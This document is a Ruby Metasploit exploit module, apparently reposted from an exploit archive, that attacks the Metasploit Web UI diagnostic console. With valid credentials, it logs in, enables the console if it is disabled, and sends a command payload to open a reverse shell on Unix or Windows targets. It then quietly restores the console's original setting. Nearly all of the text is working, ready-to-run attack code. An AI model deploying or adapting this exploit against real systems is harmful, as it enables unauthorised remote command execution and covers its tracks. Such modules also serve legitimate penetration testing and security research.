Metasploit Web UI – Diagnostic Console Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution', 'Description' => %q{ This module exploits the "diagnostic console" feature in the Metasploit Web UI to obtain a reverse shell. The diagnostic console is able to be enabled or disabled by an administrator on Metasploit Pro and by an authenticated user on Metasploit Express and Metasploit Community. When enabled, the diagnostic console provides access to msfconsole via the web interface. An authenticated user can then use the console to execute shell commands. NOTE: Valid credentials are required for this module. Tested against: Metasploit Community 4.1.0, Metasploit Community 4.8.2, Metasploit Community 4.12.0 }, 'Author' => [ 'Justin Steven' ], # @justinsteven 'License' => MSF_LICENSE, 'Privileged' => true, 'Arch' => ARCH_CMD, 'Payload' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Unix', { 'Platform' => [ 'unix' ] } ], [ 'Windows', { 'Platform' => [ 'windows' ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 23 2016' )) register_options( [ OptBool.new('SSL', [ true, 'Use SSL', true ]), OptPort.new('RPORT', [ true, '', 3790 ]), OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ], self.class) end def do_login() print_status('Obtaining cookies and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), }) unless res fail_with(Failure::NotFound, 'Failed to retrieve login page') end unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?") end authenticity_token = $1 session = res.get_cookies print_status('Logging in') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'user_sessions'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', 'authenticity_token' => authenticity_token, 'user_session[username]' => datastore['USERNAME'], 'user_session[password]' => datastore['PASSWORD'], 'commit' => 'Sign in' } }) unless res fail_with(Failure::NotFound, 'Failed to log in') end return res.get_cookies, authenticity_token end def get_console_status(session) print_status('Getting diagnostic console status and profile_id') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'settings'), 'cookie' => session, }) unless res fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id') end unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, 'Failed to get profile_id') end profile_id = $1 if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/ console_status = true elsif res.body =~ /<input\W+.*\bid="allow_console_access"/ console_status = false else fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status') end print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}") return console_status, profile_id end def set_console_status(session, authenticity_token, profile_id, new_console_status) print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', '_method' => 'patch', 'authenticity_token' => authenticity_token, 'profile_id' => profile_id, 'allow_console_access' => new_console_status, 'commit' => 'Update Settings' } }) unless res fail_with(Failure::NotFound, 'Failed to set status of diagnostic console') end end def get_container_id(session, container_label) container_label_singular = container_label.gsub(/s$/, "") print_status("Getting ID of a valid #{container_label_singular}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label), 'cookie' => session, }) unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/ print_warning("Failed to get a valid #{container_label_singular} ID") return end container_id = $1 vprint_good("Got: #{container_id}") container_id end def get_console(session, container_label, container_id) print_status('Creating a console, getting its ID and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'), 'cookie' => session, }) unless res && res.headers['location'] fail_with(Failure::UnexpectedReply, 'Failed to get a console ID') end console_id = res.headers['location'].split('/')[-1] vprint_good("Got console ID: #{console_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, }) unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/ fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token') end console_authenticity_token = $1 return console_id, console_authenticity_token end def run_command(session, container_label, console_authenticity_token, container_id, console_id, command) print_status('Running payload') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, 'vars_post' => { 'read' => 'yes', 'cmd' => command, 'authenticity_token' => console_authenticity_token, 'last_event' => '0', '_' => '' } }) unless res fail_with(Failure::NotFound, 'Failed to run command') end end def exploit session, authenticity_token = do_login() original_console_status, profile_id = get_console_status(session) unless original_console_status set_console_status(session, authenticity_token, profile_id, true) end if container_id = get_container_id(session, "workspaces") # target calls them "workspaces" container_label = "workspaces" elsif container_id = get_container_id(session, "projects") # target calls them "projects" container_label = "projects" else fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.') end console_id, console_authenticity_token = get_console(session, container_label,container_id) run_command(session, container_label, console_authenticity_token, container_id, console_id, payload.encoded) unless original_console_status set_console_status(session, authenticity_token, profile_id, false) end handler end end |